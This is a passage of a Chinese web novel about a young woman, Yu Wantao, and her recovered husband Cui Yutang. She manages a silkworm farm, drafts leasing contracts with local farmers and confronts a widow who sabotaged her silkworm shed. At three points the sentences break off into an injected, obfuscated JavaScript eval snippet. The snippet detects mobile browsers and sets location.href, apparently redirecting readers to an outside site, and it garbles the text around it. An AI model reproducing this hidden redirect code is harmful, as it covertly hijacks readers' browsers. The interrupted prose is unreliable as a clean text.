“当真不傻了啊？”，游子涧惊奇地绕他走过一圈，啧啧道:“自你家被抄了后就没见过你了，是听县里有人传你没被流放到西北去，人也变聪明了，我还当那些人瞎传的呢。” 游子涧朗声笑了笑，折扇轻摇，端正的五官被那入鬓的斜眉带歪了，显出一股子风流浪荡的劲来，他懒懒扫了一眼旁边，“这位是？” 崔玉棠虚托了一下余晚桃的后腰，给人介绍:“我娘子，余晚桃。”，说罢他侧头微微靠近余晚桃耳畔，说:“这是游子涧，他外祖是在青云书院当教谕的，来家中做过客。” 余晚桃恍然明悟，这是现成的资源。 她当即露出灿烂笑容:“原来是二郎的好友啊，说来也惭愧，二郎才恢复过来，为人处世方面尚不周到，难得遇见也是缘分，游兄若得空，可要多帮帮我家二郎。” “这有什么，平日里有空尽管来家找我便是。”，游子涧把那两本书拍到柜台去，又另拿了几本策论集，诗经，对书铺掌柜道:“都包起来。” 结了账，他便将那一摞书递给崔玉棠:“喏，算是祝贺你重获新生的，你若有心到书院上学，我可为你引荐。” “怎敢让子涧兄破费。”，崔玉棠如何好意思平白受人恩惠，他摆手推拒:“我如今定居在大桑村，读书一事尚未定下来。” 游子涧勾着嘴角:“你不读书，是要在村里种地吗？以前常听你兄长吹你，没病傻前天资聪颖，早早便启蒙习读四书五经了，这会恢复神智了是上天给你的机会，可莫要错过，自己好好考虑清楚吧。” “嗯，谢子涧兄良言，我会好好考虑的。” 别过了游子涧，出了书铺。 崔玉棠不知怎的就来到了崔府外，那夜一场大火将荣华了许多年的府邸烧得只剩下个青砖门墙，目之所及处萧条破败，残垣断壁，连个乌鸦都不会在墙头停留。 静伫良久，崔玉棠下定了决心。 他转身，对余晚桃道:“我想要读书考科举，手中有权利，才能护得家人周全，或许当我足够强大时，和爹娘、哥哥终有重逢之日。” 崔玉棠眺望西北方向，紧握拳头，俨然找到了自己的路，眼中再无迷茫。 人有了目标才会干劲十足，余晚桃的目标是好好经营桑蚕园、开绒花铺致富，她也一直为之努力着，不曾停下脚步，如今崔玉棠也找到了脚下的路，喜得脚步都松快这多。 —— 回到村里，余天庆就把艾草送来了，猎户汉子实诚，让帮忙扯些艾草，他直接抱了一大捆过来，余晚桃要给他钱都不收。 “孩她娘说了，我们家的蚕是多亏你帮忙才没全病死，而且按你说的做了后，蚕的成活率变高了，结出来的蚕茧比原来多了一倍不止，我这都还不知道要怎么感谢呢，怎么还好收你的钱。” “我也就随言几口，主要还是丁婶照顾细心。” 余晚桃嘴上谦虚，心里还是高兴的，这结果说明了忙一遭是没白费。 夜里熏上艾草，没了蚊子扰耳，睡得舒坦多了，只是晨起也不得闲，去后院浇了菜地便得赶着去桑园除草，到下午窑子的人就把石灰送来了。 余晚桃在空地上把石灰倒出来，用耙具把结成块的都擂成粉末，又把之前埋的草木灰挖出来用五比一的比例掺到一起搅拌均匀，再铲进簸箕里，沿着桑树根周围，通过簸箕细密的孔把石灰草木粉均匀铺洒。 这是个费力气的活，最后自然落到了崔玉棠手上，余晚桃怕他撒多了烧着桑树根，便在不远处除草，时不时过来检查一下。 两人配合着，一个除草，一个撒灰，不知不觉中落日余晖便透过桑树枝芽洒下斑驳碎光，映在他们布满汗水的脸上，天边火烧云翻涌着，夕阳如一滚煮熟的鸡蛋黄散着光晕，当是催促辛勤劳作的农人们归家了。 如此重复着干活，连轴转了五日，才终于将二十多亩的桑蚕园打理完。 这几日忙下来余晚桃虽然黑了一圈，但每日吃得好，脸颊圆呼了些，看着比以前健气多了。 就连崔玉棠，双臂都练出一层薄薄的肌肉来了，只是这人或许天生肤白，同样晒几日，余晚桃眼见着黑了几度，他却依旧白得晃眼，当真是叫人羡慕嫉妒。 忙完桑蚕园的护理工作，余晚桃抓紧时间列了几条章程出来，又去请村长帮忙写到契书上，这才将那帮蚕农集中到自家院里。 “再过几日开园，诸位若还想与我家合作的，便仔细听听我下面的规矩，听完后同意的就在契书上按手印，不同意的可直接走。” 余晚桃照着契书上的条例，口齿清晰地念着:“第一，价格不变，依旧是十文一日，不过限二百斤内，超出重量的按每超一百斤多收十文算。” “第二，划分区域，每户人家只能到各自指定的区域采摘桑叶，若有发现掐尖，折枝的，照价赔偿，多次不改者，下季度断绝合作。” “以上是针对小规模蚕户。” 说到着，余晚桃停顿了片刻，她清了清嗓子正准备继续说，旁边就递过来一碗茶水:“润润嗓子。” “谢谢二郎。”，余晚桃喝了茶喉咙舒服了些，这才继续道:“以下要说的是针对家里养蚕较多的蚕户，就是指定一片区域以租赁的形式给你，一期蚕为限，也就是四十五日为一租，租赁期间这片桑地就是你的了，采摘多少你随意，但是养护施肥防害虫这些也是自理。” “这种租赁方法我会尽可能给你们优惠，也会传授你们如何种植培育桑树的法子，以后可自己僻一片地种植，这样就不用从别处买桑叶了。此因由是我自己打算大量养蚕，所以不能一直给你们供应桑叶。” 余晚桃望着蚕农脸上各色复杂的神情，她在心里默默叹了一声，爱贪小利是农人天性，可这也是当下环境造就的，并不能完全将错处归咎到他们身上。 若人人生活富裕，不忧吃穿，谁又会费尽心思去计较，想着怎么省那几个铜板呢。 “你……你当真肯教我们培育桑树的法子？你哪来的法子？”，问话的是村尾余贵，他们一家养蚕多，尝试过多次种植桑树，不过种出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561837|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑叶薄、小、稀疏，桑葚倒是结得大个。 只是蚕又不吃桑葚。 余晚桃早就想好了托词，她笑道:“我在老屋发现了我爹留下的手札，上面记载了一种培育和嫁接桑树的法子，可以让桑树不会结桑葚，只抽条枝身，长出来的桑叶又宽又厚嫩，叶茎的乳白色汁液也会很丰富，蚕吃了可以补充营养。” 用她爹的名义，一来可以打消这帮蚕农的顾虑，二来也能加深他们的信任，毕竟余旺夫妇能打拼出这么大片桑蚕园确实有能力，是村里公认的桑蚕师傅。 提到余旺，果然不少蚕农当下便相信了。 他们这些时日也暗暗跑去园外偷看过，经过护理那些桑树确实不同以往了，桑叶茂密翠绿，长势很好。 这才过了多久啊，比李氏管理那会不知好了几倍，若有余旺留下的手札指点，那一切便说得过去了。 想通后契书签起来便简单多了。 为了更清晰地确认划分区域，余晚桃便带着蚕农们到桑园里走了一趟，谁租赁的地，就在前头插个木牌子做上记好，再将大概范围量出来。 几乎每户蚕农都选择了赁地，自己选地，划分区域，再交租子，个个脸上洋溢着笑容，迫不及待要请教护理桑树的法子。 余晚桃也不厌烦，仔细同他们讲解，再演示一遍，蚕农都是庄稼汉，对地里活熟悉，不须多时便能自己融会贯通了。 忙完蚕农的事，也快到六月底了。 余旺留下的老屋三间，主屋住着人，东侧堆放杂物，西侧原是余晚桃小时候住的那屋，这几日被改造成了蚕舍，扩建时多凿了四面窗通风，崭新的四层蚕座摆了三架，墙壁立着组合而成的木簇架。 翻修过的屋顶还铺了油布，防止下雨的时候屋里漏雨。 经过散味，消毒清洁后，余晚桃的第一批蚕被接了回来，稳稳落住新蚕舍。 夜里余晚桃有些难以入眠，她坐起又躺下，瞪眼许久酝酿不出睡意，便干脆爬起来数钱，修建蚕舍和买蚕花了不少银子，目前家中存款只有五两余一些碎铜板。 余晚桃圆圆的脸凑近崔玉棠，眼睛明亮，借淡淡月光在他脸上逡巡，手一痒就忍不住去拨弄他卷翘浓密的鸦睫，“二郎，怕是得等到这批蚕结茧，才有余钱扩建大蚕舍了，还有你读书的束脩。” 崔玉棠怕痒，侧头躲开后捏住她的手腕，压在自己的脸颊上缓缓游移，最后在那截手腕内侧啄了一口，眼底带着温柔的笑意:“束脩的事我会另外想办法的，别担心，等过了农忙我去县里找一份工做，也能谋些家用。” 余晚桃手腕那蓦地一烫，激得她连忙抽回自己的手，翻身躺好，她碰了碰自己的手腕，觉得浑身不自在。 她跟崔玉棠，虽是搭伙过日子但其实根本没把成亲当回事，也没往这处想过，毕竟当时嫁的是个傻子。 崔玉棠也一直没表现出任何其他想法。 这会忽然亲一口过来，如当头一棒将余晚桃敲醒了，也回过味来了。 现在躺身边的，是她拜了堂，登了婚契，还恢复了神智的十八岁相公。 余晚桃神情严肃，不得不正视这个问题。 12. 沤肥啦 又到赶集日，村口槐树底下坐着三三两两准备去县里的村民，余贵挑着扁担等在一旁，竹筐里是要拿去卖的蚕茧。 余天庆今儿没去打猎，也挑着扁担过来等牛车了，眼见丁婶背上还有一竹筐，余贵笑问:“天庆家的你这批蚕结了多少斤蚕茧啊？这又是挑又是背的。” 丁婶坐到木墩那去，笑得见牙不见眼:“百十来斤，这朝去县里卖了换钱，手头宽松下来，终于能给我家柔妹扯身鲜亮的布做衣裳了。” 余贵乐道:“咱两家都是进同样数的蚕种，我这也才只出了六十多斤蚕茧，我听说前一阵你们家的蚕还得了脓病，哪来的百十斤啊。” “我还能诓你不成？”，丁婶当即掀开竹筐上头的灰布，冲声道:“看我家的蚕茧，又大又漂亮，之前得了脓病的那批虽然死了一些，但隔离以后我的好蚕开始上簇那阵吐丝特别勤，基本就没有死蚕了。” “还真是，你这蚕茧质量比我的好多了。”，余贵抓了一把丁婶背篓里的蚕茧放手里搓了搓，外边薄薄的一层蚕衣剥开后，里边跟个雪团似的，他抖着手放了回去，压着激动问:“你们是不是喂了什么药啊？” 丁婶“嗐”了一声:“没喂甚么药，是桃子教的法子，隔离病蚕再撒点石灰粉，喷些淡盐水，蚕房通风，换蚕座前先用米酒擦一遍，说是什么消毒杀菌的，还有喂的桑叶也有讲究，恁也不懂这些，反正就是按照她说的那样办。” “不过可别乱撒石灰粉啊，量没控好那蚕得烧死的。” 村口牛车哞哞地驶过来了，丁婶匆匆与他说了两句就背起竹筐跑过去，抢占牛车位置。 余贵听了丁婶的话心不在焉的，没抢着牛车位置干脆挑起扁担腿儿着去县城，傍晚回来后也坐不住，戴上斗笠从院里抓了只鸡就出门去了。 …… 余晚桃厚着脸皮去村里养猪户那铲走了人家的猪粪，又让崔玉棠去山里放牛的坡坪寻摸几筐干牛粪到桑园里。 崔玉棠一整日都是捏着鼻子干活的，他倒完最后一筐牛粪，呆着脸坐在木墩上，两眼无神，那幅神情大概就是这辈子都不会再待见大青牛了。 让一个十几年泡在富贵窝里的娇少爷去捡牛粪，这确实有点缺德，但余晚桃这已经是很为他着想了。 毕竟跟捡干牛粪相比，猪圈里那些刚拉下来的湿猪粪更让人难以忍受，余晚桃自认心理强大，今日都反呕了一阵。 猪粪和牛粪是沤有机肥最好的材料，只需将二者对半掺匀，再加进去秸秆碎，草木灰，用稻草垛子盖起来闷上发酵两天，再反复拌几遍，最后倒进挖好的土坑里沤半个月，便算成了。 “二郎，你去摘桑叶吧，这边我来弄就行。”，余晚桃开了口，崔玉棠像得了指令的木头人，直愣愣地起身去摘桑叶了。 余晚桃可真是怕他捡个牛粪又把自己捡傻了，干完活回去的时候就烧了一大锅水，取了香胰让他去洗澡，自己背着竹筐里的桑叶进蚕舍里，把桑叶摊开，切碎了，才铺到蚕座上喂食。 如今已经过了第二次脱皮，喂食两龄蚕要比一龄蚕轻松些，桑叶虽然还要切碎喂，但基本上是已经成形了，只要做好疾病防护，就能很顺利地过渡到三龄蚕。 晚上是蚕眠时间，余晚桃除砂时用白酒在蚕座周边都仔细擦拭一遍，两边对流风的纱窗关上防止蛇鼠钻进来，再打开外层的木窗来保证蚕舍内的空气流通。 忙完蚕舍出来，崔玉棠已经把饭蒸上了。 余晚桃经常要忙桑园和蚕舍的事，有时候来不及做饭，崔玉棠挨饿次数多了，只能自己去请教丁婶学了半手厨艺。 如今已然能把饭蒸熟，再炒个青菜煎蛋的对付一口，不至于叫余晚桃忙完事回来时冷锅冷灶的，还得自己动手。 外边天还没黑，灶房里还亮堂着，余晚桃往灶台那瞅了一眼，是切好的茄段和一板豆腐，她抓着火钳往灶膛里塞了两根柴火，“哪来的豆腐啊？” “早上出门前托丁婶帮买的。”，崔玉棠俯首，漂亮的眉心微微蹙紧，像是难以忍耐了一般，对她说:“你先去洗澡，身上味重。” 余晚桃拿着火钳的动作一顿，抬袖左右闻闻自己，讪讪笑了下，往灶房外一大跨步出去，为自己的邋遢劲开脱:“我这本来便是要去洗澡的，看你要做饭了，才想着帮你捡两根柴进灶里的。” “你去找换洗衣裳，我帮你提热水进去。” 趁着菜还没下锅，崔玉棠动作也是快，当即舀了两桶热水进去，最后一趟抬井水时，瞥见余晚桃漏了半边肩膀，微低着头，侧身去点亮房里的蜡烛。 他莫名的就想到了两截莲藕，脖子是没刮皮的那截，肩膀是刮了皮的那截，两种颜色泾渭分明。 “你……你以后出门，可要常戴草帽才成。” “怎么？”，余晚桃解了腰带，扔到浴桶边。 崔玉棠:“没怎么，就是这日头毒，仔细晒伤了。”，说罢便转身出去了。 院外天色暗了些，崔玉棠赶着时间把菜炒出来，刚端院里，外头就有人敲门，他洗了手，过去开门，是一张熟面孔。 “余贵叔。”，崔玉棠侧身，让他进院来。 余贵提着鸡走了进去，见院里摆着碗筷，他才觉着不好意思，手掌搓着大腿一脸尴尬:“这是准备吃晚饭呢？那叔明天儿早再来吧，这鸡就留给你们小夫妻补补身子。” 上次是猪蹄，这次是鸡。 崔玉棠忙挡在门前，“叔要是找阿桃有事坐着等会便是，只是这鸡我们不能收。” “有啥不能收的，这是你婶自个养的，家里多得是。”，余贵有些不自在地寻了条木凳坐，他没再说要走，也没拿回那只鸡，臊着脸与崔玉棠扯了几句生硬的家常话。 崔玉棠多拿了一副碗筷摆上桌。 不多时余晚桃洗好出来了，本是嫌天热只穿了件薄里衣，却见院里有其他人，忙又折返回去套上外衫，这才正经出屋去。 “余贵叔，你过来找我是？” 余贵憨笑了下:“我听丁婶说桃子你养蚕有一手，还会治脓病，我这不是为着家里的几张嘴嘛，就腆着老脸过来找你了。” “您家里的蚕也生病了？”，余晚桃微微挑眉，围着桌坐下，给崔玉棠盛饭。 余贵回:“一直都有生病的，也治不好，我们蚕农都是这样的，养一半死一半，也没得法子。” 余晚桃自是知晓这个情况的，只是她年轻，比不得那些老蚕农，贸然去指指点点的人家也不会相信。 “叔要是信得过我，那明日我跟你家去，看看蚕舍。” “那感情好，明儿我让你婶割几斤猪肉，到时候留叔家里吃饭。”，余贵见事成了，一拍大腿，高兴地站起来回踱了几步。 “叔你要这样那我可不乐意了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561838|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，咱一个村一个姓的，你说你每次托点事都猪蹄啊鸡啊的拿过来，婶子持家不易，我也并非是那种眼角高的。”，余晚桃严肃道:“以后可不能这样了。” “哎也成。”余贵抬头望了几眼像模像样的屋舍，不知怎的就有些伤感，说了一句:“余旺兄弟那会人也是个好的，热心良善，可惜走早了。” 这些陈年旧事提起来，也挺戳心的，余晚桃招呼他过来吃饭，余贵摇头，说家里还有事，就自顾自佝着腰走了，那只鸡留了下来。 院里两人一时无话，直到余晚桃敲了敲碗:“吃饭，楞什么。” 崔玉棠回过神，说:“你会想你爹娘吗？” 余晚桃眸子微怔。 …… 天公不作美，顶着大太阳下起了雨，空气里全是闷热的水汽，跟钻蒸笼里似的，余晚桃马不停蹄抬了两桶井水去蚕舍里降温，心想要是天再热下去，她得寻摸些硝石回来制冰了。 昨晚应了要去余贵家看蚕舍，呼噜完面条余晚桃就去取了蓑衣和斗笠来，踩着泥泞的路面出门去。 天闷得紧，还下着雨，余贵今儿还当人不会过来呢，他把余晚桃引进屋里来，让自家婆娘去煮碗姜糖水。 “叔，咱直接去看蚕舍吧，我等会得去桑园跑一趟呢。” “成啊。”，余贵把人带到自家蚕舍里，给她介绍:“头先那批五龄蚕已经成蛹了，这边两座都是三龄的，最里边那座一龄蚕，是今年头最后一批了，养得不好，每天都得捡不少死蚕出去喂鸡。” 余晚桃打量着四周，发现隔壁还有一个专门的储桑屋，她矮身进了小门，见里面堆着好几袋桑叶，她倒出一袋来，里面有很多桑叶都熬黄了。 “叔，我们先从桑叶说吧，一龄蚕是比较娇贵的，喂的桑叶要嫩，而且得切碎，发黄的一定不要喂，每天摘回来的桑叶脏的就清洗遍，再摊开散热晾干，一定要保证喂给蚕的是干燥干净的。” 余贵专注听着，两眼发亮。 余晚桃走回蚕舍里，继续说道:“像我的话蚕舍每天都会打扫，保证环境清洁，再用石灰往角落里洒一圈，防蛇鼠虫蚁，还有蚕座一定要及时更换，您可以在蚕座上铺一层网，这样喂食的时候蚕都爬到上面进食了，再直接把网提起来就能换砂了。” 其实养蚕从一龄到五龄不同阶段需要注意的事项都很多，余晚桃只挑了一些针对余贵蚕舍里当龄期蚕的点大致说了一遍。 余贵听得一愣一愣的，没成想自己养了几十年蚕，竟都不如这一个十几岁的姑娘来得精深，他忍不住问:“桃子，你是从哪知道这么多的啊？” “书里啊，还有我爹留下的手札都有记载，其实朝廷农桑局都有著关于养蚕方面的书籍，一些大书铺都会有卖，只是朝廷只管著书，却没考虑到咱农户根本不识字这个现实问题，所以很多关于农桑的政策宣传得都不广泛。” “我爹以前教过我识字，文祖表哥也是在县里书院上学的，机缘巧合下我便认得了一些字，那些农桑经看懂了，知道的自然就多一些。” “原来如此……”，余贵喃喃着，心里悔恨自己是个粗人，大字不识，就算朝廷著了养蚕的书下来，他也看不懂，白白走了这多年的弯路。 眼下家里小孙子才两岁，还是得多攒些家底，等再大些，送去私塾读几年书，好不叫孙儿同自己这般，吃了不识字的亏。 13. 李寡妇 恼人的雨一停，地面就开始蒸腾热气，天空放了晴，连云影儿都没，太阳火辣辣炙烤着地面，田里的庄稼蔫头巴脑地歪着，一副半死不活的样。 余晚桃去桑园里，探手进去摸了摸大水缸里囤的水，跟煮过似的，这老天爷也当真是一会一变脸，不给老百姓好日子过。 她顶着冒烟儿的日头去把缸里的水换掉，再去抱了草垛来铺在上头挡着，眼见桑树叶子被晒得发软，却也没法子，只能盼着夜里吹些凉风，好让桑树缓过来。 今日的桑叶还没开始摘，余晚桃自个回了一趟家去拿背篓，发现家里没人在，纳闷了一下便自己锁上院门出去了。 经过水田坝子时，见李寡妇从一块青黄不接的稻田里钻出来，手里提溜着一只肥硕的活田鼠，也不知她这身板是怎么抓到的。 田垄就这么大，两人狭路相逢，余晚桃往后退了些，侧身让出一半位置。 李寡妇黄豆大小的眼睛闪着精光，刻薄面相与李氏如出一辙，捏着嗓抬高声音:“要我说啊，有些人真真就是白眼狼，一把屎一把尿的拉扯大了就来抢家产，活也不帮干，早知道这样，当初就该扔河里溺了，省得养大了来祸害自个。” 余晚桃闻言乐了乐，摸着那块田里干瘪的稻穗叹声:“可不是嘛，要我说啊那些不孝顺的是该一出生就溺河里去，瞧瞧李阿奶家的稻田，哎哟可真一颗穗都没结，苗子还病殃殃的，也不见女儿来帮忙施施肥，打理一下。” “这铁牛叔去了后，家里没个顶门立户的汉子，以后的日子可怎么过哟。” “就是，老婶子啊，我看你有那闲工夫碎嘴子，不如好好打理一下田里庄稼，不然八月份官府来收税，你可就一斗谷子都拿不出来了。”，有好事的婶子坐在田垄那歇息，一边喝水一边说着风凉话。 “余五家的遭烂妇要你多嘴，”，李寡妇朝那处吐了一沫子，憋着气撞开余晚桃，往村道上走，嘴里碎碎骂着些听不清的话，俨若手里捏的那只肥田鼠，吱吱叫唤个不停。 插话那妇人见她走远了，扭头就同田里其他人叭叭李寡妇和李氏闹僵的事。 余晚桃听了一耳朵。 这李氏最近安静得不对劲，原来是自赌坊那件事后，李氏就和娘家闹翻了，再加上被打了十大板，整个人大病一场，养伤期间李寡妇还常上门去打秋风，不要脸皮的蹭吃蹭喝。 李氏为此和亲娘大闹一场，最后在村里扬言要和娘家断绝来往。 李家这会没了李氏接济，就靠小细柳种着一亩菜地过活，穷得都快揭不开锅了。 余晚桃想着在村口最后一次见小细柳时的场景，摇摇头往桑园里去，路上遇到几个蚕农也到桑园摘桑叶，一行人聊着自家的蚕，到各自租的桑地摘叶。 从桑园回去时已经将近中午了，余晚桃刚背着满筐的桑叶绕上村道，就碰见从山路那边出来的余天庆和崔玉棠。 两人刚从山里出来，衣裳头发都是湿的，手里拎着大几簇菌子，粗略看着有鸡枞菌，红菇，白蘑菇，还有一些叫不上名的。 崔玉棠远远瞧见了人，侧头让余天庆先回去，自己加快步伐跑过去，把手里满满当当的几簇菌子递给余晚桃，接过了她背上沉重的桑叶。 “我说怎么不见人在家，原来和庆叔上前采菇去了。”，余晚桃有些意外，“看来你和庆叔处得来啊。” 崔玉棠跟着她慢慢往家走:“庆叔人好，今儿下雨时说山里菌窝会冒出来，我闲来无事也跟着进山了，他见我力气大，还想教我打猎呢。” 余晚桃点头:“多学些手段傍身是好的。” 两人慢慢走回家，见身材高大的余天庆在路口那等着，他背着弓，手上也拎着几串鸡枞菇，扬声道：“桃子，刚才绕到屋后去放麻杆，见你家蚕舍的纱窗好像破了个窟窿，像是钻进了什么畜生，你快些进去瞧瞧吧。” “纱窗破了？”，余晚桃神色微变，忙加快步伐去开了院门，直奔蚕舍。 谁料刚打开蚕舍的门，一只大田鼠就蹿了出来，余晚桃慌乱下踩了一脚过去，随着凄厉的“吱——”一声响，她几乎是本能地往后跑，唰地跳到崔玉棠身上。 崔玉棠背上满筐桑叶还没卸下来呢，就被撞得往后退了一步，反应过来后单手抱住余晚桃的腰防止她掉下来，自己一蹦三跳去躲地上嚣张乱窜的田鼠，连着踢翻了好几个积酸菜的瓦罐。 两人都靠不上，还是余天庆跑进来，精准地一脚踩住田鼠的尾巴，田鼠扭头过来啃他的布鞋，被他弯腰掐着脖子拎了起来。 余晚桃见状松了一口气，却突然想到她的蚕，忙从崔玉棠身上跳下去，跑进蚕舍里，发现纱窗窟窿下面那张蚕座脚印凌乱，好些蚕遭了殃。 怕田鼠带着病菌会染给蚕群，余晚桃只能忍痛把那一片蚕都铲了出去，再撒石灰消毒，至于纱窗窟窿只能用木板挡住，不过在比对窟窿大小时，却叫她发现了些端倪。 再度从蚕舍里出来，余晚桃生气地踢了一脚门槛，同崔玉棠说:“纱窗的窟窿根本不是田鼠钻破的，那左右横十字口平整得紧，就是被镰刀割破的。” 崔玉棠卸了竹筐，拿扫帚把院里踢翻的瓦罐清理掉，他有些心疼地看着散到地上的酸菜，问:“所以田鼠是有人故意放进蚕舍里的？” “这事可大可小，我去找村长！”，余天庆知道村里有些人就见不得别家好，可是往蚕舍里放田鼠这种行径太恶毒了。 田鼠是吃蚕的，要一晚上没发现，那基本上整张蚕座的蚕都得遭殃，平时拌嘴小打小闹下算了，没凭得要做这种断人生计的缺德事。 余晚桃看着那只可恨的田鼠，“我大概知道是谁，庆叔这事您先别声张，现在就算去找村长，没证据她也不会认。” “那这只田鼠怎么办？宰了？” “别！”，余晚桃忍着害怕去剪了一条红布绑到田鼠的后腿上，然后纠结地看着崔玉棠。 “……” 崔玉棠黑着脸拿麻布去包着田鼠，断了腿后紧紧掐住一刻都不敢放松。 “庆叔，等会还要麻烦你做个见证。” “好说。” …… 李寡妇坐在屋里喝米汤，桌上就一碟拌野菜，心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561839|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正懊悔着不该为了报复余家那小贱蹄子而搭进去嫩肥的一只田鼠，就听院墙外头吵嚷嚷的。 她起身出去，一眼就瞧见自己逮的那只大田鼠，当即猛扑过去从那村民手里把田鼠抢过来，扯着嗓道:“这是我从田里逮的！” “抢什么，我刚就瞧见这田鼠在路边趴着没动，没准是被药倒的。”，村民好心劝:“我看你可别贪这便宜，趁早扔了吧。” “胡扯！这就是我从田里抓的，余老五家几个婆娘都亲眼看见了的。”，李寡妇惦记着田鼠肉，哪里想得明白其中弯弯绕绕，只一心证明着这田鼠就是她自己逮的那只。 这个点正是忙完地里回家躲阴的村民，余五家几个儿媳妇也在其中，见到李寡妇手里还抓着那田鼠，捏着鼻子道:“李阿奶这是不舍得宰养起来不成，抓只田鼠还拿出来炫耀，不知道的还以为是甚么稀罕货呢。” 李寡妇张嘴就骂回去，两条稀疏的眉毛皱作一团，余光瞥见小细柳缩在后面干看着，当即就过去把人扯到跟前来，揪着胳膊就掐:“你丧门星到家了也不回，还想跟哪个野汉子偷好去不成！” “我去山里挖野菜了，村里人都看着的，娘自己就是寡妇，何苦来败我这个新寡妇的名声。”，小细柳任她掐，灰蒙蒙的眼珠子盯着地面。 李寡妇哪成想这人还敢顶嘴，抄起门口的扫帚就要打过去。 “欸——就是这只田鼠！”余晚桃拎擀面杖追过来，瞪着李寡妇，大声道:“好啊，原来真是这只田鼠，李阿奶你也太恶毒了，就算我在田垄那顶了你两句惹你不痛快了，你也不该故意放老鼠来吃我家蚕。” 余晚桃不等李寡妇狡辩，当即就给她把锅扣实了，指着田鼠腿上那截红布跟村民们说:“刚我一回来就发现蚕舍里遭了老鼠，吃了我不少蚕，这田鼠还是天庆叔帮忙抓住的，看那腿上的红布就是我绑的。” “你别张口就泼粪，你家蚕被老鼠吃了跟我有什么关系！”，李寡妇大声嚷道。 “我蚕舍那纱窗就是被人用镰刀故意割坏的，还有我上午亲眼看见李阿奶在田里逮上来一只肥田鼠，但是没有证据我也没立刻上门说理，于是就把这田鼠断了腿扔路边，想着这么肥的田鼠肯定难逮，如果是被人故意扔进我蚕舍里的，那看见了肯定会重新拿回去宰来吃。” “而且刚才你也承认了这田鼠就是你的那只，那我想问为啥你逮的田鼠会出现在我的蚕舍里，别说是它自己过去的，你家后边就是水田，田鼠要跑也是直接进田里，而不会大老远往我的蚕舍里钻。” 李寡妇心里慌，但还是嘴硬不认，挥着扫帚就要把人赶走，仗着自己年纪大没人敢上前推搡，嘴里骂得一句比一句脏的话。 余晚桃猝不及防被打了两下，她扬声道:“李阿奶你这是倚老卖老，我要请村长评理！” “我不活了啊！就欺负我这个绝了户的老婆子，丧良心了啊这些小畜生！”，李寡妇听到要去请村长，立刻坐地上哭嚎，眼泪说掉就掉。 一副老面皮皱巴巴挂着，头发花白，若叫不知情的人看了去，真就觉着她有多委屈了。 14. 菌菇辣酱 板上钉钉的事容不得李寡妇抵赖，边上又有余五几个儿媳妇和余天庆作证，余晚桃心里盘算着自己的损失，与她说道:“你今日必须得赔我蚕，我那些蚕已经三龄了，等七月底便能上簇吐丝，如今叫你一折腾，白白损失了好些。” 李寡妇自知不占理，但脸皮子厚，咬死了没钱赔，一脸你们能拿我怎样的赖子相，叫人看了心里都窝火。 若旁人恐怕就认了这个哑巴亏，可余晚桃常年在李氏手底下讨生活，耳濡目染学了一通，治这种不讲理的法子多了去。 她挥着手里擀面杖开口道:“你没底子赔，那我就自个进你家里搬东西了，铁锅碗勺，箱笼桌椅那些，我拿去卖了总能凑个响。” “你是强盗不成还打上我家去，要不要那副脸皮子了！”，李寡妇捂着起伏的心口，哎哟哎哟叫唤着。 “甭说别的，总之拿钱拿物拿人，随便一样你都得赔我，不然可不饶你，我扯着你找村长，找舅母去，我看你以后还怎么在村子里过活。” “要钱没有，家里物甚也想都别想。”，李寡妇喘着气，四处张望着，利索爬起将小细柳推到她跟前:“你要人我家这贱皮子抵给你行了吧！反正我儿子死了，在村里随着你们欺负！” 李寡妇说了尤不罢休，疯了一般撕扯着小细柳捶打，奔进屋里拿着张身契出来撕碎，丢余晚桃脸边擦过去，轻飘飘的纸张散得一地都是。 她一屁股坐地上，双手捶地嚎啕大哭，哭得整个人都险些抽不上气，一边哭一边骂，骂老李家早死的男人，骂李铁牛，也骂李氏，中气十足的咒骂声随着风能扬出二里地去。 余晚桃是真真见识了甚么叫可怜之人必有可恨之处。 如今李家门头除了嫁出去的李氏，就只剩李寡妇自己了，再将小细柳抵出去，真就成了孤寡老妇，以后入土连个摔盆上香的人都没了。 余晚桃忽然就觉得跟这样的人计较好没意思，她扯了扯嘴角，索性收了气，回家去了。 只是不成想小细柳跟了上来。 余晚桃将她挡在门外，“细柳婶，抵债的事我没当真，你自回家去吧。” 小细柳苦笑不已，摇头道:“婆母连我身契都撕了，怕是不会再让我进家门了，你可能让我住一日？明日我便回县里慈济堂去。” 话落下许久未听着回复，她失落地垂下头，从衣襟里翻出自己慢慢攒下来的十几文体己钱，哀求道:“我可付你铜板，留我睡一夜灶房就成，绝不会打扰到你们的。” “慈济堂还能让出嫁的女子回去？”，余晚桃问。 